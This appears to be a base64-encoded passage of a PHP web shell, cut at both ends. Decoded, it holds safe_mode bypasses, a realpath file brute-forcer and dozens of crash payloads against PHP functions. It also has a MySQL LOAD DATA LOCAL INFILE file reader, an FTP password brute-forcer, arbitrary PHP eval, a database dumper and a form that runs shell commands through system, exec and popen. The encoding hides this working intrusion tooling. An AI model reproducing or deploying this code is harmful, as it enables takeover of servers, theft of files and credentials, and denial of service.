ICR6IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHorKyl7DQogICAgICAJICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfXskY2hhcnNfcmxwaFskeV19eyRjaGFyc19ybHBoWyR6XX0iLiRlbmRfcmxwaCkpe2VjaG8gJHJlYWxwYXRoLiJcclxuIjt9DQogICAgICAJICAgICAgICAgICAgICBpZigkbl9ybHBoPD01KXtjb250aW51ZTt9Ow0KICAgICAgCSAgICAgICAgICAgICAgZm9yKCR3PTA7ICR3IDwgc3RybGVuKCRjaGFyc19ybHBoKTsgJHcrKyl7DQogICAgICAJICAgICAgICAgICAgICAgICBpZigkcmVhbHBhdGg9cmVhbHBhdGgoJGRpci4iL3skY2hhcnNfcmxwaFskaV19eyRjaGFyc19ybHBoWyRqXX17JGNoYXJzX3JscGhbJHhdfXskY2hhcnNfcmxwaFskeV19eyRjaGFyc19ybHBoWyR6XX17JGNoYXJzX3JscGhbJHddfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxyXG4iO30NCiAgICAgIAkJICAgICAgfQ0KICAgICAgCQkgICB9DQogICAgICAJICAgICAgICAgfQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlY2hvICJcclxuIEdlbmVyYXRpb24gdGltZTogIi5yb3VuZChAZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQpLiIgc2VjXHJcbiI7DQogYnJlYWs7DQpjYXNlICd0ZXN0MjMnOg0KICBAc2Vzc2lvbl9zYXZlX3BhdGgoJF9QT1NUWyd0ZXN0MjNfZmlsZTInXS4iXDA7JHRlbXBkaXIiKTsNCiAgQHNlc3Npb25fc3RhcnQoKTsNCiAgQCRfU0VTU0lPTltwaHBdPSRfUE9TVFsndGVzdDIzX2ZpbGUxJ107DQogICRmaWxlbj0kX1BPU1RbJ3Rlc3QyM19maWxlMiddOw0KICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlbikpDQogICAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXS4iICAiLiRmaWxlbjsNCiAgICBlbHNlDQogIGVjaG8gIkNhbid0IHdyaXRlIGZpbGUiOw0KICBicmVhazsNCmNhc2UgJ3Rlc3QyNCc6DQpAcHV0ZW52KCJUTVBESVI9Ii4kX1BPU1RbJ3Rlc3QyNF9maWxlMiddKTsNCiAgQGluaV9zZXQoInNlc3Npb24uc2F2ZV9wYXRoIiwgIiIpOw0KICBAaW5pX2FsdGVyKCJzZXNzaW9uLnNhdmVfcGF0aCIsICIiKTsNCiAgQHNlc3Npb25fc3RhcnQoKTsNCiAgQCRfU0VTU0lPTltwaHBdPSRfUE9TVFsndGVzdDI0X2ZpbGUxJ107DQogICRmaWxlbj0kX1BPU1RbJ3Rlc3QyNF9maWxlMiddOw0KICBpZihmaWxlX2V4aXN0cygkZmlsZW4pKQ0KICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddLiIgICIuJGZpbGVuOw0KICBlbHNlDQogIGVjaG8gIkNhbid0IHdyaXRlIGZpbGUiOw0KICBicmVhazsNCmNhc2UgJ3Rlc3QyNSc6DQogIEByZWFkZmlsZSgkX1BPU1RbJ3Rlc3QyNV9maWxlMSddLCAzLCAicGhwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kX1BPU1RbJ3Rlc3QyNF9maWxlMiddKTsNCiAgJGZpbGVuPSRfUE9TVFsndGVzdDI1X2ZpbGUyJ107DQogIGlmKGZpbGVfZXhpc3RzKCRmaWxlbikpDQogIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQogIGVsc2UNCiAgZWNobyAiQ2FuJ3Qgd3JpdGUgZmlsZSI7DQogIGJyZWFrOw0KYnJlYWs7DQoNCiB9DQp9DQplbHNlIGlmKCgkX1BPU1RbJ2NtZCddIT0icGhwX2V2YWwiKSYmKCRfUE9TVFsnY21kJ10hPSJteXNxbF9kdW1wIikmJigkX1BPU1RbJ2NtZCddIT0iZGJfcXVlcnkiKSYmKCRfUE9TVFsnY21kJ10hPSJmdHBfYnJ1dGUiKSl7DQogJGNtZF9yZXAgPSBleCgkX1BPU1RbJ2NtZCddKTsNCiBpZighJHVuaXgpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycyhAY29udmVydF9jeXJfc3RyaW5nKCRjbWRfcmVwLCdkJywndycpKS4iXG4iOyB9DQogZWxzZSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH19DQoNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogIGNhc2UgJ2RvczEnOg0KICBmdW5jdGlvbiBhKCkgeyBhKCk7IH0gYSgpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMic6DQogIEBwYWNrKCJkNDI5NDk2NzI5NyIsIDIpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMyc6DQogICRhID0gImEiO0B1bnNlcmlhbGl6ZShAc3RyX3JlcGxhY2UoJzEnLCAyMTQ3NDgzNjQ3LCBAc2VyaWFsaXplKCRhKSkpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zNCc6DQogICR0ID0gYXJyYXkoMSk7d2hpbGUgKDEpIHskYVtdID0gJiR0O307DQogIGJyZWFrOw0KICBjYXNlICdkb3M1JzoNCiAgQGRsKCJzcWxpdGUuc28iKTskZGIgPSBuZXcgU3FsaXRlRGF0YWJhc2UoImZvbyIpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zNic6DQogIHByZWdfbWF0Y2goJy8oLig/IWIpKSovJywgQHN0cl9yZXBlYXQoImEiLCAxMDAwMCkpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zNyc6DQogIEBzdHJfcmVwbGFjZSgiQSIsIHN0cl9yZXBlYXQoIkIiLCA2NTUzNSksIHN0cl9yZXBlYXQoIkEiLCA2NTUzOCkpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zOCc6DQogIEBzaGVsbF9leGVjKCJraWxsYWxsIC0xMSBodHRwZCIpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zOSc6DQogIGZ1bmN0aW9uIGN4KCl7IEB0ZW1wbmFtKCIvd3d3LyIsICcuLi8uLi8uLi8uLi8uLi8uLicuJHRlbXBkaXIuJ2N4Jyk7IGN4KCk7IH0gY3goKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczEwJzoNCiAgJGEgPSBAc3RyX3JlcGVhdCAoIkEiLDQzODAxMyk7JGIgPSBAc3RyX3JlcGVhdCAoIkIiLDk1MTE0MCk7QHdvcmR3cmFwICgkYSwwLCRiLDApOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTEnOg0KICBAYXJyYXlfZmlsbCgxLDEyMzQ1Njc4OSwiSW5maWdvLUlTIik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxMic6DQogIEBzdWJzdHJfY29tcGFyZSgiQSIsIkEiLDEyMzQ1Njc4KTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczEzJzoNCiAgQHVuc2VyaWFsaXplKCJhOjIxNDc0ODM2NDk6eyIpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTQnOg0KICAkRGF0YSA9IEBzdHJfaXJlcGxhY2UoIlxuIiwgIjxicj4iLCAkRGF0YSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxNSc6DQogIGZ1bmN0aW9uIHRvVVRGKCR4KSB7cmV0dXJuIGNocigoJHggPj4gNikgKyAxOTIpIC4gY2hyKCgkeCAmIDYzKSArIDEyOCk7fQ0KICAkc3RyMSA9ICIiO2ZvcigkaT0wOyAkaSA8IDY0OyAkaSsrKXsgJHN0cjEgLj0gdG9VVEYoOTc3KTt9DQogIEBodG1sZW50aXRpZXMoJHN0cjEsIEVOVF9OT1FVT1RFUywgIlVURi04Iik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxNic6DQogICRyID0gQHppcF9vcGVuKCJ4LnppcCIpOyRlID0gQHppcF9yZWFkKCRyKTskeCA9IEB6aXBfZW50cnlfb3BlbigkciwgJGUpOw0KICBmb3IgKCRpPTA7ICRpPDEwMDA7ICRpKyspICRhcnJbJGldPWFycmF5KGFycmF5KCIiKSk7DQogIHVuc2V0KCRhcnJbNjAwXSk7QHppcF9lbnRyeV9yZWFkKCRlLCAtMSk7dW5zZXQoJGFycls2MDFdKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczE3JzoNCiAgJHogPSAiVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUiOw0KICAkeSA9ICJERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERCI7DQogICR4ID0gIkFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIjsNCiAgdW5zZXQoJHopO3Vuc2V0KCR5KTskeCA9IGJhc2U2NF9kZWNvZGUoJHgpOyR5ID0gQHNxbGl0ZV91ZGZfZGVjb2RlX2JpbmFyeSgkeCk7dW5zZXQoJHgpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTgnOg0KICAkTVNHS0VZID0gNTE5MDUyOyRtc2dfaWQgPSBAbXNnX2dldF9xdWV1ZSAoJE1TR0tFWSwgMDYwMCk7DQogIGlmICghQG1zZ19zZW5kICgkbXNnX2lkLCAxLCAnQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISEgnLCBmYWxzZSwgdHJ1ZSwgJG1zZ19lcnIpKQ0KICBlY2hvICJNc2cgbm90IHNlbnQgYmVjYXVzZSAkbXNnX2VyclxuIjsNCiAgaWYgKEBtc2dfcmVjZWl2ZSAoJG1zZ19pZCwgMSwgJG1zZ190eXBlLCAweGZmZmZmZmZmLCAkX1NFU1NJT04sIGZhbHNlLCAwLCAkbXNnX2Vycm9yKSkgew0KICBlY2hvICIkbXNnXG4iOw0KICB9IGVsc2UgeyBlY2hvICJSZWNlaXZlZCAkbXNnX2Vycm9yIGZldGNoaW5nIG1lc3NhZ2VcbiI7IGJyZWFrOyB9DQogIEBtc2dfcmVtb3ZlX3F1ZXVlICgkbXNnX2lkKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczE5JzoNCiAgJHVybCA9ICJwaHA6Ly9maWx0ZXIvcmVhZD1PRkZfQllfT05FLi9yZXNvdXJjZT0vZXRjL3Bhc3N3ZCI7IEBmb3BlbigkdXJsLCAiciIpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMjAnOg0KICAkaGFzaHRhYmxlID0gc3RyX3JlcGVhdCgiQSIsIDM5KTsNCiAgJGhhc2h0YWJsZVs1KjQrMF09Y2hyKDB4NTgpOyRoYXNodGFibGVbNSo0KzFdPWNocigweDQwKTskaGFzaHRhYmxlWzUqNCsyXT1jaHIoMHgwNik7JGhhc2h0YWJsZVs1KjQrM109Y2hyKDB4MDgpOw0KICAkaGFzaHRhYmxlWzgqNCswXT1jaHIoMHg2Nik7JGhhc2h0YWJsZVs4KjQrMV09Y2hyKDB4NzcpOyRoYXNodGFibGVbOCo0KzJdPWNocigweDg4KTskaGFzaHRhYmxlWzgqNCszXT1jaHIoMHg5OSk7DQogICRzdHIgPSAnYToxMDAwMDA6e3M6ODoiQUFBQUJCQkIiO2E6Mzp7czoxMjoiMDEyMzQ1Njc4OUFBIjthOjE6e3M6MTI6IkFBQUFCQkJCQ0NDQyI7aTowO31zOjEyOiIwMTIzNDU2NzhBQUEiO2k6MDtzOjEyOiIwMTIzNDU2NzhCQU4iO2k6MDt9JzsNCiAgZm9yICgkaT0wOyAkaTw2NTUzNTsgJGkrKykgeyAkc3RyIC49ICdpOjA7UjoyOyc7IH0NCiAgJHN0ciAuPSAnczozOToiWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYIjtzOjM5OiInLiRoYXNodGFibGUuJyI7aTowO1I6MzsnOw0KICBAdW5zZXJpYWxpemUoJHN0cik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyMSc6DQogIGltYWdlY3JlYXRldHJ1ZWNvbG9yKDEyMzQsMTA3Mzc0MTgyNCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyMic6DQogIGltYWdlY29weXJlc2l6ZWQoaW1hZ2VjcmVhdGV0cnVlY29sb3IoMHg3ZmZmZmZmZiwgMTIwKSxpbWFnZWNyZWF0ZXRydWVjb2xvcigxMjAsIDEyMCksIDAsIDAsIDAsIDAsIDB4N2ZmZmZmZmYsIDEyMCwgMTIwLCAxMjApOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMjMnOg0KICAkYSA9IHN0cl9yZXBlYXQgKCJBIiw5OTg5Nzc2KTsgJGIgPSBzdHJfcmVwZWF0KCIvIiwgMjc5ODM0OSk7IGljb252X3N1YnN0cigkYSwwLDEsJGIpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMjQnOg0KICBzZXRsb2NhbGUoTENfQ09MTEFURSwgc3RyX3JlcGVhdCgiQSIsIDM0NDM4MDEzKSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyNSc6DQogIGdsb2Ioc3RyX3JlcGVhdCgiQSIsIDk2MzgwMTMpKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI2JzoNCiAgZ2xvYigiYSIsLTEpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMjcnOg0KICBmbm1hdGNoKCIqWzFdZSIsIHN0cl9yZXBlYXQoIkEiLCA5NjM4MDEzKSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyOCc6DQogIGlmIChleHRlbnNpb25fbG9hZGVkKCJnZCIpKXsgJGJ1ZmYgPSBzdHJfcmVwZWF0KCJBIiw5OTk5KTsgJHJlcyA9IGltYWdlcHNsb2FkZm9udCgkYnVmZik7IGVjaG8gImJvb20hIVxuIjt9DQogIGJyZWFrOw0KICBjYXNlICdkb3MyOSc6DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0JykpeyBtc3FsX3Bjb25uZWN0KHN0cl9yZXBlYXQoJ0EnLDQ5NDI0KS4nQkJCQicpOyBtc3FsX2Nvbm5lY3Qoc3RyX3JlcGVhdCgnQScsNDk0MjQpLidCQkJCJyk7fQ0KICBicmVhazsNCiAgY2FzZSAnZG9zMzAnOg0KICAkYT1zdHJfcmVwZWF0KCJBIiwgNjU1MzUpOyAgJGI9MTsgICRjPXN0cl9yZXBlYXQoIkEiLCA2NTUzNSk7ICBjaHVua19zcGxpdCgkYSwkYiwkYyk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzMSc6DQogIGlmIChleHRlbnNpb25fbG9hZGVkKCJ3aW4zMnN0ZCIpICkgeyB3aW5fYnJvd3NlX2ZpbGUoIDEsIE5VTEwsIHN0cl9yZXBlYXQoICJceDkwIiwgMjY0ICksIE5VTEwsIGFycmF5KCAiKiIgPT4gIiouKiIgKSApO30NCiAgYnJlYWs7DQogIGNhc2UgJ2RvczMyJzoNCiAgaWYgKGV4dGVuc2lvbl9sb2FkZWQoICJpaXNmdW5jIiApICl7ICRidWZfdW5pY29kZSA9IHN0cl9yZXBlYXQoICJBIiwgMjU2ICk7ICRlaXBfdW5pY29kZSA9ICJceDQxXHg0MSI7IGlpc19nZXRzZXJ2aWNlc3RhdGUoICRidWZfdW5pY29kZSAuICRlaXBfdW5pY29kZSApO30NCiAgYnJlYWs7DQogIGNhc2UgJ2RvczMzJzoNCiAgJGJ1ZmYgPSBzdHJfcmVwZWF0KCJceDQxIiwgMjUwKTskZ2V0X0VJUCA9ICJceDQyXHg0MiI7JGdldF9FU1AgPSBzdHJfcmVwZWF0KCJceDQzIiwgMTAwKTskZ2V0X0VCUCA9IHN0cl9yZXBlYXQoIlx4NDQiLCAxMDApO250dXNlcl9nZXR1c2VybGlzdCgkYnVmZi4kZ2V0X0VJUC4kZ2V0X0VTUC4kZ2V0X0VCUCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzNCc6DQogIGlmIChleHRlbnNpb25fbG9hZGVkKCJiejIiKSl7ICRidWZmID0gc3RyX3JlcGVhdCgiYSIsMTAwMCk7IGNvbV9wcmludF90eXBlaW5mbygkYnVmZik7fQ0KICBicmVhazsNCiAgY2FzZSAnZG9zMzUnOg0KICAkYSA9IHN0cl9yZXBlYXQoIi8iLCA0MTk5MDAwKTsgaWNvbnYoMSwgJGEsIDEpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMzYnOg0KICAkYSA9IHN0cl9yZXBlYXQoIi8iLCAyOTkxMzcwKTsgaWNvbnZfbWltZV9kZWNvZGVfaGVhZGVycygwLCAxLCAkYSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzNyc6DQogICRhID0gc3RyX3JlcGVhdCgiLyIsIDM3OTkwMDApOyBpY29udl9taW1lX2RlY29kZSgxLCAwLCAkYSk7DQogYnJlYWs7DQpicmVhazsNCiBjYXNlICdkb3MzOCc6DQogJGEgPSBzdHJfcmVwZWF0KCIvIiwgOTc5MTk5OSk7IGljb252X3N0cmxlbigxLCAkYSk7DQogYnJlYWs7DQp9DQppZiAoJF9QT1NUWydjbWQnXT09IkFsdWNhcl9teXNxbCIpDQogew0KICBpZihlbXB0eSgkX1BPU1RbJ3Rlc3QzX3NyJ10pKSB7ICRfUE9TVFsndGVzdDNfc3InXSA9ICJsb2NhbGhvc3QiOyB9DQogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3QzX3BvcnQnXSA9ICIzMzA2IjsgfQ0KICAkZGIgPSBAbXlzcWxfY29ubmVjdCgkX1BPU1RbJ3Rlc3QzX3NyJ10uJzonLiRfUE9TVFsndGVzdDNfcG9ydCddLCRfUE9TVFsndGVzdDNfbWwnXSwkX1BPU1RbJ3Rlc3QzX21wJ10pOw0KICBpZigkZGIpDQogICB7DQogICBpZihAbXlzcWxfc2VsZWN0X2RiKCRfUE9TVFsndGVzdDNfbWQnXSwkZGIpKQ0KICAgIHsNCiAgICAgQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiAgICAgQG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYEFsdWNhcmAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOw0KICAgICBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgXCIiLnN0cl9yZXBsYWNlKCdcXCcsJy8nLCRfUE9TVFsndGVzdDNfZmlsZSddKS4iXCIgSU5UTyBUQUJMRSBBbHVjYXIgRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcbiciKTsNCiAgICAgJHIgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gQWx1Y2FyIik7DQogICAgIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSk7IH0NCiAgICAgQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiAgICB9DQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7DQogICBAbXlzcWxfY2xvc2UoJGRiKTsNCiAgIH0NCiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gbXlzcWwgc2VydmVyIjsNCiB9DQppZiAoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpDQogew0KICRzdWMgPSAwOw0KIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0KICB7DQogICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQogIGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsJHVzZXIpKSB7IGVjaG8gIlsrXSAkdXNlcjokdXNlciAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9DQogIGVsc2UgaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7IGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsc3RycmV2KCR1c2VyKSkpIHsgZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0gfQ0KICBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCiAgfQ0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7DQogJGNvdW50ID0gY291bnQoJHVzZXJzKTsNCiBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgJGNvdW50ICo9IDI7IH0NCiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NyddLiRjb3VudC4iXHJcbiI7DQogZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTgnXS4kc3VjLiJcclxuIjsNCiB9DQppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7DQogJGV2YWwgPSBAc3RyX3JlcGxhY2UoIjw/IiwiIiwkX1BPU1RbJ3BocF9ldmFsJ10pOw0KICRldmFsID0gQHN0cl9yZXBsYWNlKCI/PiIsIiIsJGV2YWwpOw0KIEBldmFsKCRldmFsKTt9DQppZiAoJF9QT1NUWydjbWQnXT09Im15c3FsX2R1bXAiKQ0KIHsNCiAgaWYoaXNzZXQoJF9QT1NUWydkaWYnXSkpIHsgJGZwID0gQGZvcGVuKCRfUE9TVFsnZGlmX25hbWUnXSwgInciKTsgfQ0KICAkc3FsID0gbmV3IG15X3NxbCgpOw0KICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOw0KICAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107DQogICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAgJHNxbC0+YmFzZSA9ICRfUE9TVFsnbXlzcWxfZGInXTsNCiAgaWYoISRzcWwtPmNvbm5lY3QoKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gU1FMIHNlcnZlciI7IH0NCiAgZWxzZSBpZighJHNxbC0+c2VsZWN0X2RiKCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOyB9DQogIGVsc2UgaWYoISRzcWwtPmR1bXAoJF9QT1NUWydteXNxbF90YmwnXSkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjcmVhdGUgZHVtcCI7IH0NCiAgZWxzZSB7DQogICBpZihlbXB0eSgkX1BPU1RbJ2RpZiddKSkgeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpIGVjaG8gJHYuIlxyXG4iOyB9DQogICBlbHNlIGlmKCRmcCl7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgQGZwdXRzKCRmcCwkdi4iXHJcbiIpOyB9DQogICBlbHNlIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCB3cml0ZSBpbiBkdW1wIGZpbGUiOyB9DQogICB9DQogfQ0KZWNobyAiPC90ZXh0YXJlYT48L2Rpdj4iOw0KZWNobyAiPC9iPiI7DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQpmdW5jdGlvbiBkaXZfdGl0bGUoJHRpdGxlLCAkaWQpDQp7DQogIHJldHVybiAnPGEgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsiIG9uQ2xpY2s9ImNoYW5nZV9kaXZzdChcJycuJGlkLidcJyk7Ij4nLiR0aXRsZS4nPC9hPic7DQp9DQpmdW5jdGlvbiBkaXYoJGlkKQ0KIHsNCiBpZihpc3NldCgkX0NPT0tJRVskaWRdKSAmJiAkX0NPT0tJRVskaWRdPT0wKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsNCiByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciPic7DQogfQ0KaWYoISRzYWZlX21vZGUpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDInXSwnaWQxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnY21kJyw4NSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWxzZXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyOCddLCdpZDInKS4kdGFibGVfdXAyLmRpdignaWQyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NhZmVfZGlyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NiddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDgnXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9XCJtZXRob2RcIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3lzdGVtXCIgPD8gaWYgKCRtZXRob2Q9PVwic3lzdGVtXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5zeXN0ZW08L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicGFzc3RocnVcIiA8PyBpZiAoJG1ldGhvZD09XCJwYXNzdGhydVwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cGFzc3RocnU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cImV4ZWNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PmV4ZWM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic2hlbGxfZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cInNoZWxsX2V4ZWNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnNoZWxsX2V4ZWM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicG9wZW5cIiA8PyBpZiAoJG1ldGhvZD09XCJwb3BlblwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cG9wZW48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicHJvY19vcGVuXCIgPD8gaWYgKCRtZXRob2Q9PVwicHJvY19vcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wcm9jX29wZW48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywnY29tbWFuZCcsNTQsKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSk/KCRfUE9TVFsnY29tbWFuZCddKTooImlkIikpKS5pbignaGlkZGVuJywnY21kJywwLCdjb21tYW5kJykud3MoNCkua